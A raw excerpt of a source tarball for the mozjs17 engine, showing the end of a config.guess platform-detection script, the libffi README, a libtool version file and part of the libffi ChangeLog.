BeOS running on Intel PC compatible. echo i586-pc-beos exit ;; BePC:Haiku:*:*) # Haiku running on Intel PC compatible. echo i586-pc-haiku exit ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit ;; SX-6:SUPER-UX:*:*) echo sx6-nec-superux${UNAME_RELEASE} exit ;; SX-7:SUPER-UX:*:*) echo sx7-nec-superux${UNAME_RELEASE} exit ;; SX-8:SUPER-UX:*:*) echo sx8-nec-superux${UNAME_RELEASE} exit ;; SX-8R:SUPER-UX:*:*) echo sx8r-nec-superux${UNAME_RELEASE} exit ;; Power*:Rhapsody:*:*) echo powerpc-apple-rhapsody${UNAME_RELEASE} exit ;; *:Rhapsody:*:*) echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} exit ;; *:Darwin:*:*) UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown case $UNAME_PROCESSOR in i386) eval $set_cc_for_build if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \ (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \ grep IS_64BIT_ARCH >/dev/null then UNAME_PROCESSOR="x86_64" fi fi ;; unknown) UNAME_PROCESSOR=powerpc ;; esac echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} exit ;; *:procnto*:*:* | *:QNX:[0123456789]*:*) UNAME_PROCESSOR=`uname -p` if test "$UNAME_PROCESSOR" = "x86"; then UNAME_PROCESSOR=i386 UNAME_MACHINE=pc fi echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} exit ;; *:QNX:*:4*) echo i386-pc-qnx exit ;; NSE-?:NONSTOP_KERNEL:*:*) echo nse-tandem-nsk${UNAME_RELEASE} exit ;; NSR-?:NONSTOP_KERNEL:*:*) echo nsr-tandem-nsk${UNAME_RELEASE} exit ;; *:NonStop-UX:*:*) echo mips-compaq-nonstopux exit ;; BS2000:POSIX*:*:*) echo bs2000-siemens-sysv exit ;; DS/*:UNIX_System_V:*:*) echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} exit ;; *:Plan9:*:*) # "uname -m" is not consistent, so use $cputype instead. 386 # is converted to i386 for consistency with other x86 # operating systems. if test "$cputype" = "386"; then UNAME_MACHINE=i386 else UNAME_MACHINE="$cputype" fi echo ${UNAME_MACHINE}-unknown-plan9 exit ;; *:TOPS-10:*:*) echo pdp10-unknown-tops10 exit ;; *:TENEX:*:*) echo pdp10-unknown-tenex exit ;; KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) echo pdp10-dec-tops20 exit ;; XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) echo pdp10-xkl-tops20 exit ;; *:TOPS-20:*:*) echo pdp10-unknown-tops20 exit ;; *:ITS:*:*) echo pdp10-unknown-its exit ;; SEI:*:*:SEIUX) echo mips-sei-seiux${UNAME_RELEASE} exit ;; *:DragonFly:*:*) echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit ;; *:*VMS:*:*) UNAME_MACHINE=`(uname -p) 2>/dev/null` case "${UNAME_MACHINE}" in A*) echo alpha-dec-vms ; exit ;; I*) echo ia64-dec-vms ; exit ;; V*) echo vax-dec-vms ; exit ;; esac ;; *:XENIX:*:SysV) echo i386-pc-xenix exit ;; i*86:skyos:*:*) echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//' exit ;; i*86:rdos:*:*) echo ${UNAME_MACHINE}-pc-rdos exit ;; i*86:AROS:*:*) echo ${UNAME_MACHINE}-pc-aros exit ;; esac #echo '(No uname command or uname output not recognized.)' 1>&2 #echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 eval $set_cc_for_build cat >$dummy.c < # include #endif main () { #if defined (sony) #if defined (MIPSEB) /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, I don't know.... */ printf ("mips-sony-bsd\n"); exit (0); #else #include printf ("m68k-sony-newsos%s\n", #ifdef NEWSOS4 "4" #else "" #endif ); exit (0); #endif #endif #if defined (__arm) && defined (__acorn) && defined (__unix) printf ("arm-acorn-riscix\n"); exit (0); #endif #if defined (hp300) && !defined (hpux) printf ("m68k-hp-bsd\n"); exit (0); #endif #if defined (NeXT) #if !defined (__ARCHITECTURE__) #define __ARCHITECTURE__ "m68k" #endif int version; version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; if (version < 4) printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); else printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); exit (0); #endif #if defined (MULTIMAX) || defined (n16) #if defined (UMAXV) printf ("ns32k-encore-sysv\n"); exit (0); #else #if defined (CMU) printf ("ns32k-encore-mach\n"); exit (0); #else printf ("ns32k-encore-bsd\n"); exit (0); #endif #endif #endif #if defined (__386BSD__) printf ("i386-pc-bsd\n"); exit (0); #endif #if defined (sequent) #if defined (i386) printf ("i386-sequent-dynix\n"); exit (0); #endif #if defined (ns32000) printf ("ns32k-sequent-dynix\n"); exit (0); #endif #endif #if defined (_SEQUENT_) struct utsname un; uname(&un); if (strncmp(un.version, "V2", 2) == 0) { printf ("i386-sequent-ptx2\n"); exit (0); } if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ printf ("i386-sequent-ptx1\n"); exit (0); } printf ("i386-sequent-ptx\n"); exit (0); #endif #if defined (vax) # if !defined (ultrix) # include # if defined (BSD) # if BSD == 43 printf ("vax-dec-bsd4.3\n"); exit (0); # else # if BSD == 199006 printf ("vax-dec-bsd4.3reno\n"); exit (0); # else printf ("vax-dec-bsd\n"); exit (0); # endif # endif # else printf ("vax-dec-bsd\n"); exit (0); # endif # else printf ("vax-dec-ultrix\n"); exit (0); # endif #endif #if defined (alliant) && defined (i860) printf ("i860-alliant-bsd\n"); exit (0); #endif exit (1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } # Apollos put the system type in the environment. test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; } # Convex versions that predate uname can use getsysinfo(1) if [ -x /usr/convex/getsysinfo ] then case `getsysinfo -f cpu_type` in c1*) echo c1-convex-bsd exit ;; c2*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; c34*) echo c34-convex-bsd exit ;; c38*) echo c38-convex-bsd exit ;; c4*) echo c4-convex-bsd exit ;; esac fi cat >&2 < in order to provide the needed information to handle your system. config.guess timestamp = $timestamp uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` /bin/uname -X = `(/bin/uname -X) 2>/dev/null` hostinfo = `(hostinfo) 2>/dev/null` /bin/universe = `(/bin/universe) 2>/dev/null` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` /bin/arch = `(/bin/arch) 2>/dev/null` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` UNAME_MACHINE = ${UNAME_MACHINE} UNAME_RELEASE = ${UNAME_RELEASE} UNAME_SYSTEM = ${UNAME_SYSTEM} UNAME_VERSION = ${UNAME_VERSION} EOF exit 1 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: mozjs17.0.0/js/src/ctypes/libffi/README0000664000175000017500000002372012106270662017431 0ustar sstanglsstanglStatus ====== libffi-3.0.10 was released on XXXXXXXXXX, 2010. Check the libffi web page for updates: . What is libffi? =============== Compilers for high level languages generate code that follow certain conventions. These conventions are necessary, in part, for separate compilation to work. One such convention is the "calling convention". The "calling convention" is essentially a set of assumptions made by the compiler about where function arguments will be found on entry to a function. A "calling convention" also specifies where the return value for a function is found. Some programs may not know at the time of compilation what arguments are to be passed to a function. For instance, an interpreter may be told at run-time about the number and types of arguments used to call a given function. Libffi can be used in such programs to provide a bridge from the interpreter program to compiled code. The libffi library provides a portable, high level programming interface to various calling conventions. This allows a programmer to call any function specified by a call interface description at run time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the interface that allows code written in one language to call code written in another language. The libffi library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. A layer must exist above libffi that handles type conversions for values passed between the two languages. Supported Platforms =================== Libffi has been ported to many different platforms. For specific configuration details and testing status, please refer to the wiki page here: http://www.moxielogic.org/wiki/index.php?title=Libffi_3.0.10 At the time of release, the following basic configurations have been tested: |--------------+------------------| | Architecture | Operating System | |--------------+------------------| | Alpha | Linux | | Alpha | Tru64 | | ARM | Linux | | AVR32 | Linux | | HPPA | HPUX | | IA-64 | Linux | | MIPS | IRIX | | MIPS | Linux | | MIPS64 | Linux | | PowerPC | Linux | | PowerPC | Mac OSX | | PowerPC | FreeBSD | | PowerPC64 | Linux | | S390 | Linux | | S390X | Linux | | SPARC | Linux | | SPARC | Solaris | | SPARC64 | Linux | | SPARC64 | FreeBSD | | X86 | FreeBSD | | X86 | kFreeBSD | | X86 | Linux | | X86 | Mac OSX | | X86 | OpenBSD | | X86 | OS/2 | | X86 | Solaris | | X86 | Windows/Cygwin | | X86 | Windows/MingW | | X86-64 | FreeBSD | | X86-64 | Linux | | X86-64 | OpenBSD | | X86-64 | Windows/MingW | |--------------+------------------| Please send additional platform test results to libffi-discuss@sourceware.org and feel free to update the wiki page above. Installing libffi ================= First you must configure the distribution for your particular system. Go to the directory you wish to build libffi in and run the "configure" program found in the root directory of the libffi source distribution. You may want to tell configure where to install the libffi library and header files. To do that, use the --prefix configure switch. Libffi will install under /usr/local by default. If you want to enable extra run-time debugging checks use the the --enable-debug configure switch. This is useful when your program dies mysteriously while using libffi. Another useful configure switch is --enable-purify-safety. Using this will add some extra code which will suppress certain warnings when you are using Purify with libffi. Only use this switch when using Purify, as it will slow down the library. It's also possible to build libffi on Windows platforms with Microsoft's Visual C++ compiler. In this case, use the msvcc.sh wrapper script during configuration like so: path/to/configure CC=path/to/msvcc.sh LD=link CPP=\"cl -nologo -EP\" For 64-bit Windows builds, use CC="path/to/msvcc.sh -m64". You may also need to specify --build appropriately. When building with MSVC under a MingW environment, you may need to remove the line in configure that sets 'fix_srcfile_path' to a 'cygpath' command. ('cygpath' is not present in MingW, and is not required when using MingW-style paths.) Configure has many other options. Use "configure --help" to see them all. Once configure has finished, type "make". Note that you must be using GNU make. You can ftp GNU make from prep.ai.mit.edu:/pub/gnu. To ensure that libffi is working as advertised, type "make check". This will require that you have DejaGNU installed. To install the library and header files, type "make install". History ======= See the ChangeLog files for details. 3.0.10 ???-??-?? Fix the N64 build on mips-sgi-irix6.5. Testsuite fixes for Tru64 Unix. Enable builds with Microsoft's compiler. Enable x86 builds with Sun's compiler. 3.0.9 Dec-31-09 Add AVR32 and win64 ports. Add ARM softfp support. Many fixes for AIX, Solaris, HP-UX, *BSD. Several PowerPC and x86-64 bug fixes. Build DLL for windows. 3.0.8 Dec-19-08 Add *BSD, BeOS, and PA-Linux support. 3.0.7 Nov-11-08 Fix for ppc FreeBSD. (thanks to Andreas Tobler) 3.0.6 Jul-17-08 Fix for closures on sh. Mark the sh/sh64 stack as non-executable. (both thanks to Kaz Kojima) 3.0.5 Apr-3-08 Fix libffi.pc file. Fix #define ARM for IcedTea users. Fix x86 closure bug. 3.0.4 Feb-24-08 Fix x86 OpenBSD configury. 3.0.3 Feb-22-08 Enable x86 OpenBSD thanks to Thomas Heller, and x86-64 FreeBSD thanks to Björn König and Andreas Tobler. Clean up test instruction in README. 3.0.2 Feb-21-08 Improved x86 FreeBSD support. Thanks to Björn König. 3.0.1 Feb-15-08 Fix instruction cache flushing bug on MIPS. Thanks to David Daney. 3.0.0 Feb-15-08 Many changes, mostly thanks to the GCC project. Cygnus Solutions is now Red Hat. [10 years go by...] 1.20 Oct-5-98 Raffaele Sena produces ARM port. 1.19 Oct-5-98 Fixed x86 long double and long long return support. m68k bug fixes from Andreas Schwab. Patch for DU assembler compatibility for the Alpha from Richard Henderson. 1.18 Apr-17-98 Bug fixes and MIPS configuration changes. 1.17 Feb-24-98 Bug fixes and m68k port from Andreas Schwab. PowerPC port from Geoffrey Keating. Various bug x86, Sparc and MIPS bug fixes. 1.16 Feb-11-98 Richard Henderson produces Alpha port. 1.15 Dec-4-97 Fixed an n32 ABI bug. New libtool, auto* support. 1.14 May-13-97 libtool is now used to generate shared and static libraries. Fixed a minor portability problem reported by Russ McManus . 1.13 Dec-2-96 Added --enable-purify-safety to keep Purify from complaining about certain low level code. Sparc fix for calling functions with < 6 args. Linux x86 a.out fix. 1.12 Nov-22-96 Added missing ffi_type_void, needed for supporting void return types. Fixed test case for non MIPS machines. Cygnus Support is now Cygnus Solutions. 1.11 Oct-30-96 Added notes about GNU make. 1.10 Oct-29-96 Added configuration fix for non GNU compilers. 1.09 Oct-29-96 Added --enable-debug configure switch. Clean-ups based on LCLint feedback. ffi_mips.h is always installed. Many configuration fixes. Fixed ffitest.c for sparc builds. 1.08 Oct-15-96 Fixed n32 problem. Many clean-ups. 1.07 Oct-14-96 Gordon Irlam rewrites v8.S again. Bug fixes. 1.06 Oct-14-96 Gordon Irlam improved the sparc port. 1.05 Oct-14-96 Interface changes based on feedback. 1.04 Oct-11-96 Sparc port complete (modulo struct passing bug). 1.03 Oct-10-96 Passing struct args, and returning struct values works for all architectures/calling conventions. Expanded tests. 1.02 Oct-9-96 Added SGI n32 support. Fixed bugs in both o32 and Linux support. Added "make test". 1.01 Oct-8-96 Fixed float passing bug in mips version. Restructured some of the code. Builds cleanly with SGI tools. 1.00 Oct-7-96 First release. No public announcement. Authors & Credits ================= libffi was originally written by Anthony Green . The developers of the GNU Compiler Collection project have made innumerable valuable contributions. See the ChangeLog file for details. Some of the ideas behind libffi were inspired by Gianni Mariani's free gencall library for Silicon Graphics machines. The closure mechanism was designed and implemented by Kresten Krab Thorup. Major processor architecture ports were contributed by the following developers: alpha Richard Henderson arm Raffaele Sena cris Simon Posnjak, Hans-Peter Nilsson frv Anthony Green ia64 Hans Boehm m32r Kazuhiro Inaoka m68k Andreas Schwab mips Anthony Green, Casey Marshall mips64 David Daney pa Randolph Chung, Dave Anglin, Andreas Tobler powerpc Geoffrey Keating, Andreas Tobler, David Edelsohn, John Hornkvist powerpc64 Jakub Jelinek s390 Gerhard Tonn, Ulrich Weigand sh Kaz Kojima sh64 Kaz Kojima sparc Anthony Green, Gordon Irlam x86 Anthony Green, Jon Beniston x86-64 Bo Thorsen Jesper Skov and Andrew Haley both did more than their fair share of stepping through the code and tracking down bugs. Thanks also to Tom Tromey for bug fixes, documentation and configuration help. Thanks to Jim Blandy, who provided some useful feedback on the libffi interface. Andreas Tobler has done a tremendous amount of work on the testsuite. Alex Oliva solved the executable page problem for SElinux. The list above is almost certainly incomplete and inaccurate. I'm happy to make corrections or additions upon request. If you have a problem, or have found a bug, please send a note to green@redhat.com. mozjs17.0.0/js/src/ctypes/libffi/libtool-version0000664000175000017500000000211012106270662021611 0ustar sstanglsstangl# This file is used to maintain libtool version info for libffi. See # the libtool manual to understand the meaning of the fields. This is # a separate file so that version updates don't involve re-running # automake. # # Here are a set of rules to help you update your library version # information: # # 1. Start with version information of `0:0:0' for each libtool library. # # 2. Update the version information only immediately before a public # release of your software. More frequent updates are unnecessary, # and only guarantee that the current interface number gets larger # faster. # # 3. If the library source code has changed at all since the last # update, then increment revision (`c:r:a' becomes `c:r+1:a'). # # 4. If any interfaces have been added, removed, or changed since the # last update, increment current, and set revision to 0. # # 5. If any interfaces have been added since the last public release, # then increment age. # # 6. If any interfaces have been removed since the last public # release, then set age to 0. # # CURRENT:REVISION:AGE 5:10:0 mozjs17.0.0/js/src/ctypes/libffi/ChangeLog0000664000175000017500000044535312106270662020335 0ustar sstanglsstangl2010-08-05 Dan Witte * Makefile.am: Pass FFI_DEBUG define to msvcc.sh for linking to the debug CRT when --enable-debug is given. * configure.ac: Define it. * msvcc.sh: Translate -g and -DFFI_DEBUG appropriately. 2010-08-04 Dan Witte * src/x86/ffitarget.h: Add X86_ANY define for all x86/x86_64 platforms. * src/x86/ffi.c: Remove redundant ifdef checks. * src/prep_cif.c: Push stack space computation into src/x86/ffi.c for X86_ANY so return value space doesn't get added twice. 2010-08-03 Neil Rashbrooke * msvcc.sh: Don't pass -safeseh to ml64 because behavior is buggy. 2010-07-22 Dan Witte * src/*/ffitarget.h: Make FFI_LAST_ABI one past the last valid ABI. * src/prep_cif.c: Fix ABI assertion. * src/cris/ffi.c: Ditto. 2010-07-10 Evan Phoenix * src/closures.c (selinux_enabled_check): Fix strncmp usage bug. 2010-07-07 Dan Horák * include/ffi.h.in: Protect #define with #ifndef. * src/powerpc/ffitarget.h: Ditto. * src/s390/ffitarget.h: Ditto. * src/sparc/ffitarget.h: Ditto. 2010-05-11 Dan Witte * doc/libffi.tex: Document previous change. 2010-05-11 Makoto Kato * src/x86/ffi.c (ffi_call): Don't copy structs passed by value. 2010-05-05 Michael Kohler * src/dlmalloc.c (dlfree): Fix spelling. * src/ia64/ffi.c (ffi_prep_cif_machdep): Ditto. * configure.ac: Ditto. * configure: Rebuilt. 2010-04-13 Dan Witte * msvcc.sh: Build with -W3 instead of -Wall. * src/powerpc/ffi_darwin.c: Remove build warnings. * src/x86/ffi.c: Ditto. * src/x86/ffitarget.h: Ditto. 2010-03-30 Dan Witte * msvcc.sh: Disable build warnings. * README (tested): Clarify windows build procedure. 2010-03-14 Matthias Klose * src/x86/ffi64.c: Fix typo in comment. * src/x86/ffi.c: Use /* ... */ comment style. 2010-07-07 Neil Roberts * src/x86/sysv.S (ffi_call_SYSV): Align the stack pointer to 16-bytes. 2010-07-02 Jakub Jelinek * Makefile.am (AM_MAKEFLAGS): Pass also mandir to submakes. * Makefile.in: Regenerated. 2010-05-19 Rainer Orth * configure.ac (libffi_cv_as_x86_pcrel): Check for illegal in as output, too. (libffi_cv_as_ascii_pseudo_op): Check for .ascii. (libffi_cv_as_string_pseudo_op): Check for .string. * configure: Regenerate. * fficonfig.h.in: Regenerate. * src/x86/sysv.S (.eh_frame): Use .ascii, .string or error. 2010-04-07 Jakub Jelinek * regex.c (byte_re_match_2_internal): Avoid set but not used warning. 2010-04-02 Ralf Wildenhues * Makefile.in: Regenerate. * aclocal.m4: Regenerate. * include/Makefile.in: Regenerate. * man/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. 2010-03-15 Rainer Orth * configure.ac (libffi_cv_as_x86_64_unwind_section_type): New test. * configure: Regenerate. * fficonfig.h.in: Regenerate. * libffi/src/x86/unix64.S (.eh_frame) [HAVE_AS_X86_64_UNWIND_SECTION_TYPE]: Use @unwind section type. 2010-02-24 Rainer Orth * doc/libffi.texi (The Closure API): Fix typo. * doc/libffi.info: Remove. 2010-02-15 Matthias Klose * src/arm/sysv.S (__ARM_ARCH__): Define for processor __ARM_ARCH_7EM__. 2010-01-07 Rainer Orth PR libffi/40701 * testsuite/libffi.call/ffitest.h [__alpha__ && __osf__] (PRIdLL, PRIuLL, PRId64, PRIu64, PRIuPTR): Define. * testsuite/libffi.call/cls_align_sint64.c: Add -Wno-format on alpha*-dec-osf*. * testsuite/libffi.call/cls_align_uint64.c: Likewise. * testsuite/libffi.call/cls_ulonglong.c: Likewise. * testsuite/libffi.call/return_ll1.c: Likewise. * testsuite/libffi.call/stret_medium2.c: Likewise. * testsuite/libffi.special/ffitestcxx.h (allocate_mmap): Cast MAP_FAILED to char *. 2010-01-06 Rainer Orth * src/mips/n32.S: Use .abicalls and .eh_frame with __GNUC__. 2009-12-31 Anthony Green * README: Update for libffi 3.0.9. 2009-12-27 Matthias Klose * configure.ac (HAVE_LONG_DOUBLE): Define for mips when appropriate. * configure: Rebuilt. 2009-12-26 Anthony Green * testsuite/libffi.call/cls_longdouble_va.c: Mark as xfail for avr32*-*-*. * testsuite/libffi.call/cls_double_va.c: Ditto. 2009-12-26 Andreas Tobler * testsuite/libffi.call/ffitest.h: Conditionally include stdint.h and inttypes.h. * testsuite/libffi.special/unwindtest.cc: Ditto. 2009-12-26 Andreas Tobler * configure.ac: Add amd64-*-openbsd*. * configure: Rebuilt. * testsuite/lib/libffi-dg.exp (libffi_target_compile): Link openbsd programs with -lpthread. 2009-12-26 Anthony Green * testsuite/libffi.call/cls_double_va.c, testsuite/libffi.call/cls_longdouble.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_pointer.c, testsuite/libffi.call/cls_pointer_stack.c: Remove xfail for mips*-*-* and arm*-*-*. * testsuite/libffi.call/cls_align_longdouble_split.c, testsuite/libffi.call/cls_align_longdouble_split2.c, testsuite/libffi.call/stret_medium2.c, testsuite/libffi.call/stret_medium.c, testsuite/libffi.call/stret_large.c, testsuite/libffi.call/stret_large2.c: Remove xfail for arm*-*-*. 2009-12-31 Kay Tietz * testsuite/libffi.call/ffitest.h, testsuite/libffi.special/ffitestcxx.h (PRIdLL, PRuLL): Fix definitions. 2009-12-31 Carlo Bramini * configure.ac (AM_LTLDFLAGS): Define for windows hosts. * Makefile.am (libffi_la_LDFLAGS): Add AM_LTLDFLAGS. * configure: Rebuilt. * Makefile.in: Rebuilt. 2009-12-31 Anthony Green Blake Chaffin. * testsuite/libffi.call/huge_struct.c: New test case from Blake Chaffin @ Apple. 2009-12-28 David Edelsohn * src/powerpc/ffi_darwin.c (ffi_prep_args): Copy abi and nargs to local variables. (aix_adjust_aggregate_sizes): New function. (ffi_prep_cif_machdep): Call it. 2009-12-26 Andreas Tobler * configure.ac: Define FFI_MMAP_EXEC_WRIT for the given targets. * configure: Regenerate. * fficonfig.h.in: Likewise. * src/closures.c: Remove the FFI_MMAP_EXEC_WRIT definition for Solaris/x86. 2009-12-26 Andreas Schwab * src/powerpc/ffi.c (ffi_prep_args_SYSV): Advance intarg_count when a float arguments is passed in memory. (ffi_closure_helper_SYSV): Mark general registers as used up when a 64bit or soft-float long double argument is passed in memory. 2009-12-25 Matthias Klose * man/ffi_call.3: Fix #include in examples. * doc/libffi.texi: Add dircategory. 2009-12-25 Frank Everdij * include/ffi.h.in: Placed '__GNUC__' ifdef around '__attribute__((aligned(8)))' in ffi_closure, fixes compile for IRIX MIPSPro c99. * include/ffi_common.h: Added '__sgi' define to non '__attribute__((__mode__()))' integer typedefs. * src/mips/ffi.c (ffi_call, ffi_closure_mips_inner_O32, ffi_closure_mips_inner_N32): Added 'defined(_MIPSEB)' to BE check. (ffi_closure_mips_inner_O32, ffi_closure_mips_inner_N32): Added FFI_LONGDOUBLE support and alignment(N32 only). * src/mips/ffitarget.h: Corrected '#include ' for IRIX and fixed non '__attribute__((__mode__()))' integer typedefs. * src/mips/n32.S: Put '#ifdef linux' around '.abicalls' and '.eh_frame' since they are Linux/GNU Assembler specific. 2009-12-25 Bradley Smith * configure.ac, Makefile.am, src/avr32/ffi.c, src/avr32/ffitarget.h, src/avr32/sysv.S: Add AVR32 port. * configure, Makefile.in: Rebuilt. 2009-12-21 Andreas Tobler * configure.ac: Make i?86 build on FreeBSD and OpenBSD. * configure: Regenerate. 2009-12-15 John David Anglin * testsuite/libffi.call/ffitest.h: Define PRIuPTR on PA HP-UX. 2009-12-13 John David Anglin * src/pa/ffi.c (ffi_closure_inner_pa32): Handle FFI_TYPE_LONGDOUBLE type on HP-UX. 2009-12-11 Eric Botcazou * src/sparc/ffi.c (ffi_closure_sparc_inner_v9): Properly align 'long double' arguments. 2009-12-11 Eric Botcazou * testsuite/libffi.call/ffitest.h: Define PRIuPTR on Solaris < 10. 2009-12-10 Rainer Orth PR libffi/40700 * src/closures.c [X86_64 && __sun__ && __svr4__] (FFI_MMAP_EXEC_WRIT): Define. 2009-12-08 David Daney * testsuite/libffi.call/stret_medium.c: Remove xfail for mips*-*-* * testsuite/libffi.call/cls_align_longdouble_split2.c: Same. * testsuite/libffi.call/stret_large.c: Same. * testsuite/libffi.call/cls_align_longdouble_split.c: Same. * testsuite/libffi.call/stret_large2.c: Same. * testsuite/libffi.call/stret_medium2.c: Same. 2009-12-07 David Edelsohn * src/powerpc/aix_closure.S (libffi_closure_ASM): Fix tablejump typo. 2009-12-05 David Edelsohn * src/powerpc/aix.S: Update AIX32 code to be consistent with AIX64 code. * src/powerpc/aix_closure.S: Same. 2009-12-05 Ralf Wildenhues * Makefile.in: Regenerate. * configure: Regenerate. * include/Makefile.in: Regenerate. * man/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. 2009-12-04 David Edelsohn * src/powerpc/aix_closure.S: Reorganize 64-bit code to match linux64_closure.S. 2009-12-04 Uros Bizjak PR libffi/41908 * src/x86/ffi64.c (classify_argument): Update from gcc/config/i386/i386.c. (ffi_closure_unix64_inner): Do not use the address of two consecutive SSE registers directly. * testsuite/libffi.call/cls_dbls_struct.c (main): Remove xfail for x86_64 linux targets. 2009-12-04 David Edelsohn * src/powerpc/ffi_darwin.c (ffi_closure_helper_DARWIN): Increment pfr for long double split between fpr13 and stack. 2009-12-03 David Edelsohn * src/powerpc/ffi_darwin.c (ffi_prep_args): Increment next_arg and fparg_count twice for long double. 2009-12-03 David Edelsohn PR libffi/42243 * src/powerpc/ffi_darwin.c (ffi_prep_args): Remove extra parentheses. 2009-12-03 Uros Bizjak * testsuite/libffi.call/cls_longdouble_va.c (main): Fix format string. Remove xfails for x86 linux targets. 2009-12-02 David Edelsohn * src/powerpc/ffi_darwin.c (ffi_prep_args): Fix typo in INT64 case. 2009-12-01 David Edelsohn * src/powerpc/aix.S (ffi_call_AIX): Convert to more standard register usage. Call ffi_prep_args directly. Add long double return value support. * src/powerpc/ffi_darwin.c (ffi_prep_args): Double arg increment applies to FFI_TYPE_DOUBLE. Correct fpr_base increment typo. Separate FFI_TYPE_SINT32 and FFI_TYPE_UINT32 cases. (ffi_prep_cif_machdep): Only 16 byte stack alignment in 64 bit mode. (ffi_closure_helper_DARWIN): Remove nf and ng counters. Move temp into case. * src/powerpc/aix_closure.S: Maintain 16 byte stack alignment. Allocate result area between params and FPRs. 2009-11-30 David Edelsohn PR target/35484 * src/powerpc/ffitarget.h (POWERPC64): Define for PPC64 Linux and AIX64. * src/powerpc/aix.S: Implement AIX64 version. * src/powerpc/aix_closure.S: Implement AIX64 version. (ffi_closure_ASM): Use extsb, lha and displament addresses. * src/powerpc/ffi_darwin.c (ffi_prep_args): Implement AIX64 support. (ffi_prep_cif_machdep): Same. (ffi_call): Same. (ffi_closure_helper_DARWIN): Same. 2009-11-02 Andreas Tobler PR libffi/41908 * testsuite/libffi.call/testclosure.c: New test. 2009-09-28 Kai Tietz * src/x86/win64.S (_ffi_call_win64 stack): Remove for gnu assembly version use of ___chkstk. 2009-09-23 Matthias Klose PR libffi/40242, PR libffi/41443 * src/arm/sysv.S (__ARM_ARCH__): Define for processors __ARM_ARCH_6T2__, __ARM_ARCH_6M__, __ARM_ARCH_7__, __ARM_ARCH_7A__, __ARM_ARCH_7R__, __ARM_ARCH_7M__. Change the conditionals to __SOFTFP__ || __ARM_EABI__ for -mfloat-abi=softfp to work. 2009-09-17 Loren J. Rittle PR testsuite/32843 (strikes again) * src/x86/ffi.c (ffi_prep_cif_machdep): Add X86_FREEBSD to enable proper extension on char and short. 2009-09-15 David Daney * src/java_raw_api.c (ffi_java_raw_to_rvalue): Remove special handling for FFI_TYPE_POINTER. * src/mips/ffitarget.h (FFI_TYPE_STRUCT_D_SOFT, FFI_TYPE_STRUCT_F_SOFT, FFI_TYPE_STRUCT_DD_SOFT, FFI_TYPE_STRUCT_FF_SOFT, FFI_TYPE_STRUCT_FD_SOFT, FFI_TYPE_STRUCT_DF_SOFT, FFI_TYPE_STRUCT_SOFT): New defines. (FFI_N32_SOFT_FLOAT, FFI_N64_SOFT_FLOAT): New ffi_abi enumerations. (enum ffi_abi): Set FFI_DEFAULT_ABI for soft-float. * src/mips/n32.S (ffi_call_N32): Add handling for soft-float structure and pointer returns. (ffi_closure_N32): Add handling for pointer returns. * src/mips/ffi.c (ffi_prep_args, calc_n32_struct_flags, calc_n32_return_struct_flags): Handle soft-float. (ffi_prep_cif_machdep): Handle soft-float, fix pointer handling. (ffi_call_N32): Declare proper argument types. (ffi_call, copy_struct_N32, ffi_closure_mips_inner_N32): Handle soft-float. 2009-08-24 Ralf Wildenhues * configure.ac (AC_PREREQ): Bump to 2.64. 2009-08-22 Ralf Wildenhues * Makefile.am (install-html, install-pdf): Remove. * Makefile.in: Regenerate. * Makefile.in: Regenerate. * aclocal.m4: Regenerate. * configure: Regenerate. * fficonfig.h.in: Regenerate. * include/Makefile.in: Regenerate. * man/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. 2009-07-30 Ralf Wildenhues * configure.ac (_AC_ARG_VAR_PRECIOUS): Use m4_rename_force. 2009-07-24 Dave Korn PR libffi/40807 * src/x86/ffi.c (ffi_prep_cif_machdep): Also use sign/zero-extending return types for X86_WIN32. * src/x86/win32.S (_ffi_call_SYSV): Handle omitted return types. (_ffi_call_STDCALL, _ffi_closure_SYSV, _ffi_closure_raw_SYSV, _ffi_closure_STDCALL): Likewise. * src/closures.c (is_selinux_enabled): Define to 